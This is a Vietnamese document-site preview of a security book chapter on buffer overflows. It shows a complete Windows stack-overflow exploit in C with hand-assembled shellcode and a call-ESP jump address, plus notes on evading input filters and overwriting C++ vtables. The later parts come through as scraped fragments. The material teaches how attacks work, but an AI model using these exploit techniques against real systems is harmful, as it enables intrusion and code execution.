1. Trang chủ
  2. » Công Nghệ Thông Tin

hack proofing your network second edition phần 5 pdf

82 192 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 82
Dung lượng 792,63 KB

Nội dung

Buffer Overflow • Chapter 8 295 Building the Exploit Since we examined the stack of a compiled program, we know that to take con- trol of the EIP register, we must overwrite the 8 bytes of the buffer, then 4 bytes of a saved EBP register, and then 4 bytes of saved EIP.This means that we have 12 bytes of filler that must be filled with something. In this case, we’ve chosen to use 0x90, which is the hex value for the Intel NOP operation.This is an imple- mentation of a NOP sled, but we won’t need to slide in this case because we know where we need to go and can avoid it.This is just filler that we can use to overwrite the buffer and EBP on the stack.We set this up using the memset() C library call to set the first 12 bytes of the buffer to 0x90. memset(writeme,0x90,12); //set my local string to nops Finding a Jump Point Next, we need to write out where we want the EIP to go.As mentioned before, there are numerous ways to get the EIP to point to our code.Typically, I put a debugging break point at the end of the function that returns, so I can see what the state of the registers are when we are right before the vulnerable functions ret instruction. In examining the registers in this case: EAX = 00000001 EBX = 7FFDF000 ECX = 00423AF8 EDX = 00000000 ESI = 00000000 EDI = 0012FF80 ESP = 0012FF30 EBP = 90909090 We notice that the ESP points right into the stack, right after where the saved EIP should be.After this ret, the ESP will move up 4 bytes and what is there should be moved to the EIP. Also, control should continue from there.This means that if we can get the contents of the ESP register into the EIP, we can execute code at that point.Also notice how in the function epilogue, the saved EBP was restored, but this time with our 0x90 string instead of its original contents. So now we examine the memory space of the attacked program for useful pieces of code that would allow us to get the EIP register to point to the ESP. Since we have already written findjmp, we’ll use that to find an effective place to get our ESP into the EIP.To do this effectively, we need to see what DLLs are imported into our attacked program and examine those loaded DLLs for poten- tially vulnerable pieces of code.To do this, we could use the depends.exe program www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 295 296 Chapter 8 • Buffer Overflow that ships with visual studio, or the dumpbin.exe utility that will allow you to examine a program’s imports. In this case, we will use dumpbin for simplicity, since it can quickly tell us what we need.We will use the command line: dumpbin /imports samp4.exe Microsoft (R) COFF Binary File Dumper Version 5.12.8078 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. Dump of file samp4.exe File Type: EXECUTABLE IMAGE Section contains the following imports: KERNEL32.dll 426148 Import Address Table 426028 Import Name Table 0 time date stamp 0 Index of first forwarder reference 26D SetHandleCount 174 GetVersion 7D ExitProcess 1B8 IsBadWritePtr 1B5 IsBadReadPtr 1A7 HeapValidate 11A GetLastError 1B CloseHandle 51 DebugBreak 152 GetStdHandle 2DF WriteFile 1AD InterlockedDecrement 1F5 OutputDebugStringA www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 296 Buffer Overflow • Chapter 8 297 13E GetProcAddress 1C2 LoadLibraryA 1B0 InterlockedIncrement 124 GetModuleFileNameA 218 ReadFile 29E TerminateProcess F7 GetCurrentProcess 2AD UnhandledExceptionFilter B2 FreeEnvironmentStringsA B3 FreeEnvironmentStringsW 2D2 WideCharToMultiByte 106 GetEnvironmentStrings 108 GetEnvironmentStringsW CA GetCommandLineA 115 GetFileType 150 GetStartupInfoA 19D HeapDestroy 19B HeapCreate 19F HeapFree 2BF VirtualFree 22F RtlUnwind 199 HeapAlloc 1A2 HeapReAlloc 2BB VirtualAlloc 27C SetStdHandle AA FlushFileBuffers 241 SetConsoleCtrlHandler 26A SetFilePointer 34 CreateFileA BF GetCPInfo B9 GetACP 131 GetOEMCP 1E4 MultiByteToWideChar 153 GetStringTypeA www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 297 298 Chapter 8 • Buffer Overflow 156 GetStringTypeW 261 SetEndOfFile 1BF LCMapStringA 1C0 LCMapStringW Summary 3000 .data 1000 .idata 2000 .rdata 1000 .reloc 20000 .text This shows that the only linked DLL loaded directly is kernel32.dll. Kernel32.dll also has dependencies, but for now, we will just use that to find a jump point. Next, we load findjmp, looking in kernel32.dll for places that can redirect us to the ESP.We run it as follows: findjmp kernel32.dll ESP And it tells us: Scanning kernel32.dll for code useable with the ESP register 0x77E8250A call ESP Finished Scanning kernel32.dll for code useable with the ESP register Found 1 usable addresses So we can overwrite the saved EIP on the stack with 0x77E8250A and when the ret hits, it will put the address of a call ESP into the EIP.The processor will execute this instruction, which will redirect processor control back to our stack, where our payload will be waiting. In the exploit code, we define this address as follows: DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findjmp.c and then write it in our exploit buffer after our 12 byte filler like so: memcpy(writeme+12,&EIP,4); //overwrite EIP here www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 298 Buffer Overflow • Chapter 8 299 Writing a Simple Payload Finally, we need to create and insert our payload code.As stated before, we chose to create a simple MessageBox that says “HI” to us, just as a proof of concept. I typically like to prototype my payloads in C, and then convert them to ASM.The C code to do this is as follows: MessageBox (NULL, "hi", NULL, MB_OK); Typically, we would just recreate this function in ASM.You can use a disas- sembler or debugger to find the exact ASM syntax from compiled C code. We have one issue though; the MessageBox function is exported from USER32.DLL, which is not imported into our attacked program, so we have to force it to load itself.We do this by using a LoadLibraryA call. LoadLibraryA is the function that WIN32 platforms use to load DLLs into a process’s memory space. LoadLibraryA is exported from kernel32.dll, which is already loaded into our DLL, as the dumpbin output shows us. So we need to load the DLL, then call the MessageBox, so our new code looks like: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); We were able to leave out the “.dll” on “user32.dll” because it is implied, and it saves us 4 bytes in our payload size. Now the program will have user32 loaded (and hence the code for MessageBox loaded), so the functionality is all there, and should work fine as we translate it to ASM. There is one last part that we do need to take into account, however: since we have directly subverted the flow of this program, it will probably crash as it attempts to execute the data on the stack after our payload. Since we are all polite hackers, we should attempt to avoid this. In this case, it means exiting the process cleanly using the ExitProcess() function call. So our final C code (before conver- sion to assembly) is as follows: LoadLibraryA("User32"); MessageBox(NULL, "hi", NULL, MB_OK); ExitProcess(1); We decided to use the inline ASM functionality of the visual C compiler to create the ASM output of our program, and then just copied it to a BYTE buffer for inclusion in our exploit. www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 299 300 Chapter 8 • Buffer Overflow Rather than showing the whole code here, we will just refer you to the fol- lowing exploit program that will create the file, build the buffer from filler, jump point, and payload, then write it out to a file. If you wish to test the payload before writing it to the file, just uncomment the small section of code noted as a test. It will execute the payload instead of writing it to a file. The following is a program that I wrote to explain and generate a sample exploit for our overflowable function. It uses hard-coded function addresses, so it may not work on a system that isn’t running win2k sp2. It is intended to be simple, not portable.To make it run on a different plat- form, replace the #defines with addresses of those functions as exposed by depends.exe, or dumpbin.exe, both of which ship with Visual Studio. The only mildly advanced feature this code uses is the trick push.A trick push is when a call is used to trick the stack into thinking that an address was pushed. In this case, every time we do a trick push, we want to push the address of our following string onto the stack.This allows us to embed our data right into the code, and offers the added benefit of not requiring us to know exactly where our code is executing, or direct offsets into our shellcode. This trick works based on the fact that a call will push the next instruction onto the stack as if it were a saved EIP intended to return to at a later time.We are exploiting this inherent behavior to push the address of our string onto the stack. If you have been reading the chapter straight through, this is the same trick used in the Linux exploit. Because of the built-in Visual Studio compiler’s behavior, we are required to use _emit to embed our string in the code. #include <Windows.h> /* Example NT Exploit Ryan Permeh, ryan@eeye.com */ int main(int argc,char **argv) { #define MBOX 0x77E375D5 #define LL 0x77E8A254 #define EP 0x77E98F94 www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 300 Buffer Overflow • Chapter 8 301 DWORD EIP=0x77E8250A; // a pointer to a //call ESP in KERNEL32.dll //found with findoffset.c BYTE writeme[65]; //mass overflow holder BYTE code[49] ={ 0xE8, 0x07, 0x00, 0x00, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x00, 0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF, 0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x00, 0x48, 0x49, 0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75, 0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01, 0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF, 0xD0 }; HANDLE file; DWORD written; /* __asm { call tag1 ; jump over(trick push) _emit 0x55 ; "USER32",0x00 _emit 0x53 _emit 0x45 _emit 0x52 _emit 0x33 _emit 0x32 _emit 0x00 tag1: // LoadLibrary("USER32"); mov EAX, LL ;put the LoadLibraryA address in EAX call EAX ;call LoadLibraryA www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 301 302 Chapter 8 • Buffer Overflow push 0 ;push MBOX_OK(4th arg to mbox) push 0 ;push NULL(3rd arg to mbox) call tag2 ; jump over(trick push) _emit 0x48 ; "HI",0x00 _emit 0x49 _emit 0x00 tag2: push 0 ;push NULL(1st arg to mbox) // MessageBox (NULL, "hi", NULL, MB_OK); mov EAX, MBOX ;put the MessageBox address in EAX call EAX ;Call MessageBox push 1 ;push 1 (only arg to exit) // ExitProcess(1); mov EAX, EP ; put the ExitProcess address in EAX call EAX ;call ExitProcess } */ /* char *i=code; //simple test code pointer //this is to test the code __asm { mov EAX, i call EAX } */ /* Our overflow string looks like this: [0x90*12][EIP][code] The 0x90(nop)'s overwrite the buffer, and the saved EBP on the stack, www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 302 Buffer Overflow • Chapter 8 303 and then EIP replaces the saved EIP on the stack. The saved EIP is replaced with a jump address that points to a call ESP. When call ESP executes, it executes our code waiting in ESP.*/ memset(writeme,0x90,65); //set my local string to nops memcpy(writeme+12,&EIP,4); //overwrite EIP here memcpy(writeme+16,code,49); // copy the code into our temp buf //open the file file=CreateFile("badfile",GENERIC_WRITE,0,NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL); //write our shellcode to the file WriteFile(file,writeme,65,&written,NULL); CloseHandle(file); //we're done return 1; } Learning Advanced Overflow Techniques Now that basic overflow techniques have been explored, it is time to examine some of the more interesting things you can do in an overflow situation. Some of these techniques are applicable in a general sense; some are for specific situa- tions. Because overflows are becoming better understood in the programmer community, sometimes it requires a more advanced technique to exploit a vul- nerable situation. Input Filtering Programmers have begun to understand overflows and are beginning to write code that checks input buffers for completeness.This can cause attackers headaches when they find that they cannot put whatever code they want into a buffer overflow.Typically, only null bytes cause problems, but programmers have begun to start parsing data so that it looks sane before attempting to copy it into a buffer. There are a lot of potential ways of achieving this, each offering a different hurdle to a potential exploit situation. www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 303 304 Chapter 8 • Buffer Overflow For example, some programmers have been verifying input values so that if the input should be a number, it gets checked to verify that it is a number before being copied to a buffer.There are a few standard C library calls that can verify that the data is as it should be.A short table of some of the ones found in the win32 C library follows.There are also wide character versions of nearly all of these functions to deal in a Unicode environment. int isalnum( int c ); checks if it is in A-Z,a-z,0-9 int isalpha( int c ); checks if it is in A-Z,a-z int __isascii( int c ); checks if it is in 0x00-0x7f int isdigit( int c ); checks if it is in 0-9 isxdigit( int c ); checks if it is in 0-9,A-F Many UNIX C libraries also implement similar functions. Custom exploits must be written in order to get around some of these filters. This can be done by writing specific code, or by creating a decoder that encodes the data into a format that can pass these tests. There has been much research put into creating alphanumeric and low- ASCII payloads; and work has progressed to the point where in some situations, full payloads can be written this way.There have been MIME-encoded payloads, and multibyte XOR payloads that can allow strange sequences of bytes to appear as if they were ASCII payloads. Another way that these systems can be attacked is by avoiding the input check altogether. For instance, storing the payload in an unchecked environment variable or session variable can allow you to minimize the amount of bytes you need to keep within the bounds of the filtered input. Incomplete Overflows and Data Corruption There has been a significant rise in the number of programmers who have begun to use bounded string operations like strncpy() instead of strcpy.These program- mers have been taught that bounded operations are a cure for buffer overflows. however, it may come as a surprise to some that they are often implemented wrong. There is a common problem called an “off by one” error, where a buffer is allocated to a specific size, and an operation is used with that size as a bound. However, it is often forgotten that a string must include a null byte terminator. Some common string operations, although bounded, will not add this character, effectively allowing the string to edge against another buffer on the stack with no www.syngress.com 194_HPYN2e_08.qxd 2/15/02 10:58 AM Page 304 [...]... wants it to go Creating Your First Overflow A stack overflow exploit is comprised of an injection, a jump point, and a payload www.syngress.com 3 15 194_HPYN2e_08.qxd 316 2/ 15/ 02 10 :58 AM Page 316 Chapter 8 • Buffer Overflow Injection involves getting your specific payload into the attack’s target buffer.This can be a network connection, form input, or a file that is read in, depending on your specific situation... function // pointer w/ heap address // 0x00301E54 making the destructor // appear to be 0x77777777 // and the run() function appear to // be 0x88888888 ////////////////////////////////////// strcpy(t3->name, "\x77\x77\x77\x77\x88\x88\x88\x88XX XXXXXXXXXX"\ "XXXXXXXXXX XXXXXXXXXX XXXXXXXXXX www.syngress.com XXXX\x54\x1E\x30\x00"); 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 309 Buffer Overflow • Chapter 8 delete... happens when an overflow occurs near the beginning of a large function It forces the rest of the function to try to work as normal with a corrupt stack An example of this www.syngress.com 3 05 194_HPYN2e_08.qxd 306 2/ 15/ 02 10 :58 AM Page 306 Chapter 8 • Buffer Overflow comes up when attacking canary-protected systems A canary-protected system is one that places values on the stack and checks those values for... class test1 www.syngress.com 307 194_HPYN2e_08.qxd 308 2/ 15/ 02 10 :58 AM Page 308 Chapter 8 • Buffer Overflow { public: char name[10]; virtual ~test1(); virtual void run(); }; class test2 { public: char name[10]; virtual ~test2(); virtual void run(); }; int main(int argc, char* argv[]) { class test1 *t1 = new class test1; class test1 *t5 = new class test1; class test2 *t2 = new class test2; class...194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 3 05 Buffer Overflow • Chapter 8 separation If this string gets used again later, it may treat both buffers as one, causing a potential overflow An example of this is as follows: [buf1 - 32 bytes... design can be modified to fit your situation.You can optimize it for size, avoid intrusion detection systems (IDS), or make it violate the kernel Using What You Already Have Even simple programs often have more code in memory than is strictly necessary By linking to a dynamically loaded library, you tell the program to load that www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 311 Buffer Overflow... They do this to minimize memory usage and reuse code as much as possible As I said in the last section, you can use whatever is loaded to your advantage, but sometimes you may need something that isn’t already loaded www.syngress.com 311 194_HPYN2e_08.qxd 312 2/ 15/ 02 10 :58 AM Page 312 Chapter 8 • Buffer Overflow Just like code in a program, a payload can chose to load a dynamic library on demand and then... these functions works well but can impair your code portability.This is because only processes that have the functions loaded where you have hardcoded them will allow this technique to work For Windows NT, this typically limits your exploit to a single service pack and OS combo, for UNIX, it may not work at all, depending on the platform and libraries used The second option is to search the executable... tuck your code elsewhere, this may just not be an option.The simple overview is to treat your shellcode like a symbol lookup function In this case, you are looking for the function already loaded in memory via the imported functions list.This, of course assumes that the function is already loaded in memory, but this is often, if not always, the case.This method www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02... called at the end of your function The general concept behind buffer overflow attacks revolves around overwriting the saved EIP on the stack with a way to get to your code.This allows you to control the machine and execute any code you have placed there.To successfully exploit a vulnerable situation, you need to create an injector, a jump point, and a payload.The injector places your code where it needs . KERNEL32.dll //found with findoffset.c BYTE writeme[ 65] ; //mass overflow holder BYTE code[49] ={ 0xE8, 0x07, 0x00, 0x00, 0x00, 0x 55, 0x53, 0x 45, 0x52, 0x33, 0x32, 0x00, 0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF, 0xD0,. **argv) { #define MBOX 0x77E375D5 #define LL 0x77E8A 254 #define EP 0x77E98F94 www.syngress.com 194_HPYN2e_08.qxd 2/ 15/ 02 10 :58 AM Page 300 Buffer Overflow • Chapter 8 301 DWORD EIP=0x77E8 250 A; // a pointer. ExitProcess 1B8 IsBadWritePtr 1B5 IsBadReadPtr 1A7 HeapValidate 11A GetLastError 1B CloseHandle 51 DebugBreak 152 GetStdHandle 2DF WriteFile 1AD InterlockedDecrement 1F5 OutputDebugStringA www.syngress.com 194_HPYN2e_08.qxd

Ngày đăng: 14/08/2014, 18:20

TỪ KHÓA LIÊN QUAN